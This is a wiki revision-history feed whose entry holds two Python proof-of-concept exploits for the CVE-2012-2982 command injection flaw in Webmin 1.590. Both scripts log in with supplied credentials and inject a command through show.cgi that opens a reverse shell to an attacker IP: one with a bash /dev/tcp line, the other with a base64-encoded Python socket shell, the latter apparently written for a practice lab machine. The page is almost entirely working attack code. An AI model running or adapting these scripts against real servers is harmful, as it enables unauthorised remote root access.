<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2012-2982_Webmin_1.590%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2012-2982 Webmin 1.590任意命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2012-2982_Webmin_1.590%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2012-2982_Webmin_1.590%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T13:45:41Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2012-2982_Webmin_1.590%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=977&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== ===web.py=== &lt;pre&gt; #!/usr/bin/env python  #usage: python3 web.py &lt;targetIP&gt; import sys, requests, string, secrets  targetIP = sys.argv[1] lhost = &quot;10.10.10.10&quot; #attack...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2012-2982_Webmin_1.590%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=977&amp;oldid=prev"/>
		<updated>2021-04-04T06:17:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== ===web.py=== &amp;lt;pre&amp;gt; #!/usr/bin/env python  #usage: python3 web.py &amp;lt;targetIP&amp;gt; import sys, requests, string, secrets  targetIP = sys.argv[1] lhost = &amp;quot;10.10.10.10&amp;quot; #attack...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
===web.py===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
&lt;br /&gt;
#usage: python3 web.py &amp;lt;targetIP&amp;gt;&lt;br /&gt;
import sys, requests, string, secrets&lt;br /&gt;
&lt;br /&gt;
targetIP = sys.argv[1]&lt;br /&gt;
lhost = &amp;quot;10.10.10.10&amp;quot; #attacker IP&lt;br /&gt;
lport = &amp;quot;53&amp;quot; #listening port&lt;br /&gt;
&lt;br /&gt;
data = {'page' : &amp;quot;%2F&amp;quot;, 'user' : &amp;quot;user1&amp;quot;, 'pass' : &amp;quot;1user&amp;quot;}&lt;br /&gt;
url = f&amp;quot;http://{targetIP}/session_login.cgi&amp;quot;&lt;br /&gt;
&lt;br /&gt;
r = requests.post(url, data=data, cookies={&amp;quot;testing&amp;quot;:&amp;quot;1&amp;quot;}, verify=False, allow_redirects=False)&lt;br /&gt;
&lt;br /&gt;
if r.status_code == 302 and r.cookies[&amp;quot;sid&amp;quot;] != None:&lt;br /&gt;
	print(&amp;quot;[+] Login successful, executing payload&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
	print(&amp;quot;[-] Failed to login&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
sid = r.cookies[&amp;quot;sid&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
def rand():&lt;br /&gt;
	alphaNum = string.ascii_letters + string.digits&lt;br /&gt;
	randChar = ''.join(secrets.choice(alphaNum) for i in range(5))&lt;br /&gt;
	return randChar&lt;br /&gt;
&lt;br /&gt;
def payload():&lt;br /&gt;
	payload = f&amp;quot;bash -c 'exec bash -i &amp;amp;&amp;gt;/dev/tcp/{lhost}/{lport}&amp;lt;&amp;amp;1'&amp;quot;&lt;br /&gt;
	return payload&lt;br /&gt;
&lt;br /&gt;
exp = f&amp;quot;http://{targetIP}/file/show.cgi/bin/{rand()}|{payload()}|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
req = requests.post(exp, cookies={&amp;quot;sid&amp;quot;:sid}, verify=False, allow_redirects=False)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===gamezone.py===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
&lt;br /&gt;
#CVE-2012-2982 translated from ruby metasploit module (/webmin_show_cgi_exec.rb) &lt;br /&gt;
#program outline:&lt;br /&gt;
	# - POST request with compromised creds to get the cookie&lt;br /&gt;
	# - exploit using invalid characters to get system shell&lt;br /&gt;
	# - fetches system shell as root&lt;br /&gt;
	# - sends shell through socket to listening attacker IP&lt;br /&gt;
#usage: &lt;br /&gt;
	# - MUST BE SSH TUNNELED INTO MACHINE TO ACCESS localhost&lt;br /&gt;
	# - python gamezone.py &lt;br /&gt;
	# - listen with nc -nlvp 4445 on attacker&lt;br /&gt;
&lt;br /&gt;
import sys, os, subprocess, requests, socket, string, secrets, base64&lt;br /&gt;
&lt;br /&gt;
lhost = &amp;quot;10.10.174.47&amp;quot; #attacker IP CHANGE, needs to be a string to convert in payload function&lt;br /&gt;
lport = &amp;quot;4445&amp;quot; # listening port, string to convert in payload function&lt;br /&gt;
&lt;br /&gt;
#Login with compromised creds and print good status response&lt;br /&gt;
creds = {'page' : &amp;quot;%2F&amp;quot;, 'user' : &amp;quot;agent47&amp;quot;, 'pass' : &amp;quot;videogamer124&amp;quot;} #must be A dictionary, list of tuples, bytes or a file object&lt;br /&gt;
url = &amp;quot;http://localhost:10000/session_login.cgi&amp;quot;&lt;br /&gt;
&lt;br /&gt;
r = requests.post(url, data=creds, cookies={&amp;quot;testing&amp;quot;:&amp;quot;1&amp;quot;}, verify=False, allow_redirects=False) #send POST request to login &lt;br /&gt;
#if status code 302 found and sid not empty &lt;br /&gt;
if r.status_code == 302 and r.cookies[&amp;quot;sid&amp;quot;] != None:&lt;br /&gt;
	print(&amp;quot;[+] Login successful, executing payload (listen for shell)&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
	print(&amp;quot;[-] Failed to login&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
sid = r.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(&amp;quot;;&amp;quot;)[0].strip() #replace the sid cookie newline character, split at = and store the second element (sid) of array, split at ; and stop at first element in array, strip remaining&lt;br /&gt;
&lt;br /&gt;
#generates random characters and delivers the payload&lt;br /&gt;
def rand():&lt;br /&gt;
	alphaNum = string.ascii_letters + string.digits #custom alphanumeric string variable&lt;br /&gt;
	randChar = ''.join(secrets.choice(alphaNum) for i in range(5)) #generate 5 random alphanumeric characters&lt;br /&gt;
	return randChar&lt;br /&gt;
&lt;br /&gt;
def payload():&lt;br /&gt;
    payload = &amp;quot;python -c \&amp;quot;import base64;exec(base64.b64decode('&amp;quot; #run python command to execute base64&lt;br /&gt;
    shell = &amp;quot;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;&amp;quot;+ lhost + &amp;quot;\&amp;quot;,&amp;quot; + lport + &amp;quot;));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;])&amp;quot; #open a socket, send it to the attacking host/port, open the shell&lt;br /&gt;
    shell = str.encode(shell) #encode the shellcode as a string&lt;br /&gt;
    encoded = base64.b64encode(shell) #encode the string with base64&lt;br /&gt;
    encoded = encoded.decode(&amp;quot;utf-8&amp;quot;) #decode that to be used as a string in the exploit URL&lt;br /&gt;
    closing = &amp;quot;'))\&amp;quot;&amp;quot; #close the payload&lt;br /&gt;
    payload += encoded #update the payload to contain the encoded/decoded parameters&lt;br /&gt;
    payload += closing&lt;br /&gt;
    return payload&lt;br /&gt;
&lt;br /&gt;
exp = &amp;quot;http://localhost:10000/file/show.cgi/bin/&amp;quot; + &amp;quot;%s|%s|&amp;quot; % (rand(), payload())&lt;br /&gt;
&lt;br /&gt;
req = requests.post(exp, cookies={&amp;quot;sid&amp;quot;:sid}, verify=False, allow_redirects=False) #send POST request to upload shellcode &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>